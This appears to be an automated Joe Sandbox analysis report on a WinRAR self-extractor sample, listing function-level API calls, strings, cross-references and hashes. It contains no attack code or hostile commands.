dsrole.dll, xrefs: 00007FF60638E243
wkscli.dll, xrefs: 00007FF60638E1A9
browcli.dll, xrefs: 00007FF60638E1C5
kernel32, xrefs: 00007FF60638DED5
clbcatq.dll, xrefs: 00007FF60638DFAD
ntmarta.dll, xrefs: 00007FF60638E0BB
imageres.dll, xrefs: 00007FF60638E10F
WINNSI.DLL, xrefs: 00007FF60638E139
apphelp.dll, xrefs: 00007FF60638E013
peerdist.dll, xrefs: 00007FF60638E251
dhcpcsvc.dll, xrefs: 00007FF60638E1EF
SSPICLI.DLL, xrefs: 00007FF60638DF60
iphlpapi.DLL, xrefs: 00007FF60638E12B
shdocvw.dll, xrefs: 00007FF60638E03D
rsaenh.dll, xrefs: 00007FF60638DF6B
srvcli.dll, xrefs: 00007FF60638E0E5
cabinet.dll, xrefs: 00007FF60638E09F
rasadhlp.dll, xrefs: 00007FF60638E1D3
usp10.dll, xrefs: 00007FF60638DFA2
netutils.dll, xrefs: 00007FF60638E147
atl.dll, xrefs: 00007FF60638DFFA
secur32.dll, xrefs: 00007FF60638E091
ieframe.dll, xrefs: 00007FF60638DFE4
lpk.dll, xrefs: 00007FF60638DF97
oleaccrc.dll, xrefs: 00007FF60638E0AD
ws2help.dll, xrefs: 00007FF60638DFCE
ntshrui.dll, xrefs: 00007FF60638DFEF
shell32.dll, xrefs: 00007FF60638E083
mlang.dll, xrefs: 00007FF60638E17F
WindowsCodecs.dll, xrefs: 00007FF60638E0D7
dnsapi.DLL, xrefs: 00007FF60638E11D
samcli.dll, xrefs: 00007FF60638E18D
setupapi.dll, xrefs: 00007FF60638E005
samlib.dll, xrefs: 00007FF60638E19B
psapi.dll, xrefs: 00007FF60638DFD9
wintrust.dll, xrefs: 00007FF60638E075
DXGIDebug.dll, xrefs: 00007FF60638DF4A, 00007FF60638E47A
cscapi.dll, xrefs: 00007FF60638E0F3
crypt32.dll, xrefs: 00007FF60638E04B
dwmapi.dll, xrefs: 00007FF60638DF81, 00007FF60638E525
ws2_32.dll, xrefs: 00007FF60638DFC3
userenv.dll, xrefs: 00007FF60638E021
XmlLite.dll, xrefs: 00007FF60638E1FD
profapi.dll, xrefs: 00007FF60638E0C9
dfscli.dll, xrefs: 00007FF60638E1B7
msasn1.dll, xrefs: 00007FF60638E059
devrtl.dll, xrefs: 00007FF60638E163
netapi32.dll, xrefs: 00007FF60638E02F
propsys.dll, xrefs: 00007FF60638E171
slc.dll, xrefs: 00007FF60638E101
RpcRtRemote.dll, xrefs: 00007FF60638E227
cryptbase.dll, xrefs: 00007FF60638DF8C
comres.dll, xrefs: 00007FF60638DFB8
version.dll, xrefs: 00007FF60638DF3F
mpr.dll, xrefs: 00007FF60638E155
SetDllDirectoryW, xrefs: 00007FF60638DEEA
aclui.dll, xrefs: 00007FF60638E235
UXTheme.dll, xrefs: 00007FF60638DF76
cryptui.dll, xrefs: 00007FF60638E067
dhcpcsvc6.dll, xrefs: 00007FF60638E1E1
uxtheme.dll, xrefs: 00007FF60638E531
sfc_os.dll, xrefs: 00007FF60638DF55
cryptsp.dll, xrefs: 00007FF60638E219

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$DirectoryHandleLibraryLoadModuleSystem
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 751436351-2013832382
Opcode ID: d64c9edb356a7913ecfea325c24345d8ce3223450e70cbc395deec6d173345af
Instruction ID: 87a44e7c13794fb7f220d19cab1124b2690e05afceb023181999d5c890ba6443
Opcode Fuzzy Hash: d64c9edb356a7913ecfea325c24345d8ce3223450e70cbc395deec6d173345af
Instruction Fuzzy Hash: 44626C32A09F8299EB199F60E8401E973A4FF44354F603236DA4D877A5EF7EE644C380

Function 00007FF60639ECE0 Relevance: 123.9, APIs: 60, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60638215C: GetDlgItem.USER32 ref: 00007FF6063821AC
Part of subcall function 00007FF60638215C: SetWindowTextW.USER32 ref: 00007FF6063821C8

EndDialog.USER32 ref: 00007FF60639EE20
SetDlgItemTextW.USER32 ref: 00007FF60639EE70
GetMessageW.USER32 ref: 00007FF60639EEA0
IsDialogMessageW.USER32 ref: 00007FF60639EEB9
TranslateMessage.USER32 ref: 00007FF60639EECB
DispatchMessageW.USER32 ref: 00007FF60639EED9
EndDialog.USER32 ref: 00007FF60639EF23
GetDlgItem.USER32 ref: 00007FF60639EF60
SendMessageW.USER32 ref: 00007FF60639EF81
SendMessageW.USER32 ref: 00007FF60639EF99
SetFocus.USER32 ref: 00007FF60639EFA2
GetLastError.KERNEL32 ref: 00007FF60639F184
GetLastError.KERNEL32 ref: 00007FF60639F1B5
GetTickCount.KERNEL32 ref: 00007FF60639F1DB
GetLastError.KERNEL32 ref: 00007FF60639F245
GetCommandLineW.KERNEL32 ref: 00007FF60639F391
CreateFileMappingW.KERNEL32 ref: 00007FF60639F450
MapViewOfFile.KERNEL32 ref: 00007FF60639F473
Sleep.KERNEL32 ref: 00007FF60639F506
UnmapViewOfFile.KERNEL32 ref: 00007FF60639F52F
CloseHandle.KERNEL32 ref: 00007FF60639F538
SetDlgItemTextW.USER32 ref: 00007FF60639F82E
DialogBoxParamW.USER32 ref: 00007FF60639FC27
EndDialog.USER32 ref: 00007FF60639FC3F
EnableWindow.USER32 ref: 00007FF60639FDF6
SendMessageW.USER32 ref: 00007FF60639FE48
ShellExecuteExW.SHELL32 ref: 00007FF60639F4AB

Part of subcall function 00007FF60638AEE0: LoadStringW.USER32 ref: 00007FF60638AF67
Part of subcall function 00007FF60638AEE0: LoadStringW.USER32 ref: 00007FF60638AF80

SendMessageW.USER32 ref: 00007FF60639FA13
SendDlgItemMessageW.USER32 ref: 00007FF60639FA3A
GetDlgItem.USER32 ref: 00007FF60639FA48
SendMessageW.USER32 ref: 00007FF60639FA62
GetDlgItem.USER32 ref: 00007FF60639FA9F
SetDlgItemTextW.USER32 ref: 00007FF60639FB3C
SetDlgItemTextW.USER32 ref: 00007FF60639FB54
SetDlgItemTextW.USER32 ref: 00007FF60639FE71
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639FED1
SendDlgItemMessageW.USER32 ref: 00007FF60639FF99
EndDialog.USER32 ref: 00007FF60639FFB3
GetDlgItem.USER32 ref: 00007FF60639FFE1
SetFocus.USER32 ref: 00007FF60639FFEA
SendDlgItemMessageW.USER32 ref: 00007FF6063A008E
FindFirstFileW.KERNEL32 ref: 00007FF6063A00B2
FindClose.KERNEL32 ref: 00007FF6063A01DA
SendDlgItemMessageW.USER32 ref: 00007FF6063A02FF

Part of subcall function 00007FF6063812BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063813B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A05F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A05FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A0605
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A060B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A0611
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A0617

Strings

STARTDLG, xrefs: 00007FF60639ED1A
LICENSEDLG, xrefs: 00007FF60639FC19
runas, xrefs: 00007FF60639F319
winrarsfxmappingfile.tmp, xrefs: 00007FF60639F430
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF60639F2E9
p, xrefs: 00007FF60639F2FB
@, xrefs: 00007FF60639F306
__tmp_rar_sfx_access_check_, xrefs: 00007FF60639F1F9
%s %s, xrefs: 00007FF6063A0229, 00007FF6063A0496
REPLACEFILEDLG, xrefs: 00007FF60639FF23

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleLineMappingParamShellSleepTickTranslateUnmap
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 255727823-2702805183
Opcode ID: 325886699d3e479aa83e354952696db83c0ec1c6632f992920f5d98df5c10264
Instruction ID: 55a511d7344c1b0c427ed163e1fd0de5e4b966cb51fd7ba51f9979efcfe9f56a
Opcode Fuzzy Hash: 325886699d3e479aa83e354952696db83c0ec1c6632f992920f5d98df5c10264
Instruction Fuzzy Hash: 53D2F562A0878385EB28DB20E8442F96361EF85784F607136D94DC77E6EF7EE944C790

Function 00007FF6063A09D8 Relevance: 65.0, APIs: 26, Strings: 10, Instructions: 1963windowfileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6063A1143
SendMessageW.USER32 ref: 00007FF6063A1176
SendMessageW.USER32 ref: 00007FF6063A11A5
MoveFileW.KERNEL32 ref: 00007FF6063A169B
MoveFileExW.KERNEL32 ref: 00007FF6063A16B9
GetTempPathW.KERNEL32 ref: 00007FF6063A1799

Part of subcall function 00007FF606381B70: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606381BCB

EndDialog.USER32 ref: 00007FF6063A1B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063A2A33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A69
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A7B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A8D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2A9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2AA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A2AAB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063A2AB7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063A2AC3

Strings

MIN, xrefs: 00007FF6063A2635, 00007FF6063A2644
.lnk, xrefs: 00007FF6063A1F56, 00007FF6063A1F65
HIDE, xrefs: 00007FF6063A2535, 00007FF6063A2544
ProgramFilesDir, xrefs: 00007FF6063A1040
.tmp, xrefs: 00007FF6063A15D5
@set:user, xrefs: 00007FF6063A18E6, 00007FF6063A18F5
<br>, xrefs: 00007FF6063A122A, 00007FF6063A1239
MAX, xrefs: 00007FF6063A25D2, 00007FF6063A25E1
lnk, xrefs: 00007FF6063A1F1A, 00007FF6063A1F29
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF6063A1051

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$FileMessageMoveSend$DialogItemPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 3007431893-3916287355
Opcode ID: 375db2e0d226c61e0c1990f26411cdcbd7c7140125762ff0400803d08f65cc38
Instruction ID: 0acf3f8fd782a9c9fe1c79637c6c3555d321b016599c5a41381ece51a9e88e85
Opcode Fuzzy Hash: 375db2e0d226c61e0c1990f26411cdcbd7c7140125762ff0400803d08f65cc38
Instruction Fuzzy Hash: 6013C232B04B8289EF18DF64D8402ED27B1FB40398F602536DA5D97AE9DF79D585D380

Function 00007FF6063A400C Relevance: 47.8, APIs: 22, Strings: 5, Instructions: 539
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60638DC4C: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DEDC
Part of subcall function 00007FF60638DC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DEF4
Part of subcall function 00007FF60638DC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF60638DF21

Part of subcall function 00007FF606387A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF606387A3E
Part of subcall function 00007FF606387A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF606387A78

Part of subcall function 00007FF60639D0A8: OleInitialize.OLE32 ref: 00007FF60639D0C2
Part of subcall function 00007FF60639D0A8: SHGetMalloc.SHELL32 ref: 00007FF60639D110

GetCommandLineW.KERNEL32 ref: 00007FF6063A4226
OpenFileMappingW.KERNEL32 ref: 00007FF6063A42BF
MapViewOfFile.KERNEL32 ref: 00007FF6063A42E8
UnmapViewOfFile.KERNEL32 ref: 00007FF6063A42FE
MapViewOfFile.KERNEL32 ref: 00007FF6063A431B
UnmapViewOfFile.KERNEL32 ref: 00007FF6063A4382
CloseHandle.KERNEL32 ref: 00007FF6063A438B
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6063A4465
GetLocalTime.KERNEL32 ref: 00007FF6063A4470
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6063A44CB
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6063A44DE
GetModuleHandleW.KERNEL32 ref: 00007FF6063A44E6
LoadIconW.USER32 ref: 00007FF6063A4505
DialogBoxParamW.USER32 ref: 00007FF6063A456E
Sleep.KERNEL32 ref: 00007FF6063A459E
DeleteObject.GDI32 ref: 00007FF6063A45C5
DeleteObject.GDI32 ref: 00007FF6063A45D7
CloseHandle.KERNEL32 ref: 00007FF6063A461F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A468F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A4695
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A469B

Part of subcall function 00007FF6063A3810: SetEnvironmentVariableW.KERNEL32 ref: 00007FF6063A3847
Part of subcall function 00007FF6063A3810: SetEnvironmentVariableW.KERNELBASE ref: 00007FF6063A38C0

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063A4964

Strings

STARTDLG, xrefs: 00007FF6063A455D
sfxstime, xrefs: 00007FF6063A44D7
winrarsfxmappingfile.tmp, xrefs: 00007FF6063A42B1
sfxname, xrefs: 00007FF6063A4453
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF6063A44BA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: File$EnvironmentHandleVariableView_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3767324925-3710569615
Opcode ID: 672bf953df9b2c0ed6fd5d6135e2b8bbf1eb438a14cfe977ab9df65a1aaea397
Instruction ID: f57872bc44283689c883aa8cff7e583e63313129078fbb76b0dc95dc3b6b84b6
Opcode Fuzzy Hash: 672bf953df9b2c0ed6fd5d6135e2b8bbf1eb438a14cfe977ab9df65a1aaea397
Instruction Fuzzy Hash: 5742D971A18B8285EF08DF24D8442BD63A1FF84B84F606235DA5D876E6EF7ED540D390

Function 00007FF60638A8AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF60638A904

Part of subcall function 00007FF606390688: WideCharToMultiByte.KERNEL32 ref: 00007FF6063906B9

SetDlgItemTextW.USER32 ref: 00007FF60638A973
GetWindowRect.USER32 ref: 00007FF60638A9AD
GetClientRect.USER32 ref: 00007FF60638A9BB
GetWindowLongPtrW.USER32 ref: 00007FF60638AA6C
GetWindowRect.USER32 ref: 00007FF60638AAB2
SetWindowTextW.USER32 ref: 00007FF60638AAEC
GetSystemMetrics.USER32 ref: 00007FF60638AAF7
GetWindow.USER32 ref: 00007FF60638AB08
GetWindowRect.USER32 ref: 00007FF60638AB46
GetWindow.USER32 ref: 00007FF60638AC08

Strings

CAPTION, xrefs: 00007FF60638AACF
$%s:, xrefs: 00007FF60638A8EF

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction ID: 23b026c56a59116c89c74e9783efd6402c33c5b566500fd5b59ff5a20da7fa03
Opcode Fuzzy Hash: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction Fuzzy Hash: CE910A36B186418BD71CCF29E8006A9A7A1FBC4784F506535EE4D87B98DF7EE805CB40

Function 00007FF60639C260 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C279
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C295
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C2AF
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF6063A4517), ref: 00007FF60639C2C1
GlobalAlloc.KERNELBASE ref: 00007FF60639C2E2
GlobalLock.KERNEL32 ref: 00007FF60639C2F7
CreateStreamOnHGlobal.COMBASE ref: 00007FF60639C324
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF60639C3A5
GlobalUnlock.KERNEL32 ref: 00007FF60639C3C8
GlobalFree.KERNEL32 ref: 00007FF60639C3D1

Strings

PNG, xrefs: 00007FF60639C26B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction ID: c9e8e156ce8c914cd0a60792777701238377548d8cb1cab9ca4b157f8790f292
Opcode Fuzzy Hash: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction Fuzzy Hash: 68412422B09B4681EF198B26D894379A3A0EF44BD4F287435CE0DC7794EF7EE4458790

Function 00007FF60638647C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF6063864CB
FindFirstFileW.KERNELBASE ref: 00007FF60638651E
GetLastError.KERNEL32 ref: 00007FF60638656F
FindNextFileW.KERNEL32 ref: 00007FF606386597
GetLastError.KERNEL32 ref: 00007FF6063865A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063866CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063866D5

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 9e2131fdd348412ea29fb79e3f45126eacfe5ffc882fb6d768e47b091ae13561
Instruction ID: a7620bd8a13c4c5cd0ea0e076189c23a7cad35b26baca7282a209aacdd6d14a7
Opcode Fuzzy Hash: 9e2131fdd348412ea29fb79e3f45126eacfe5ffc882fb6d768e47b091ae13561
Instruction Fuzzy Hash: B261E472A08B8685DE188B24E4412BD6361FB857B4F606331EABDC36E9DF7DD544C780

Function 00007FF60639569C Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF6063959E4

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: c1e66077c649525df1862831f5d24fee890eb1fa66ff33924af5fad325382aaf
Instruction ID: 3a35b45424afca52b95a3cb2d6bb46e4a85890db3d0a03ff1d8eec10fc120ffd
Opcode Fuzzy Hash: c1e66077c649525df1862831f5d24fee890eb1fa66ff33924af5fad325382aaf
Instruction Fuzzy Hash: 90E1E533A186818BE719CF29D4802AD77A1F78875CF209139DA5993B88DF3DE981CF50

Function 00007FF606396294 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
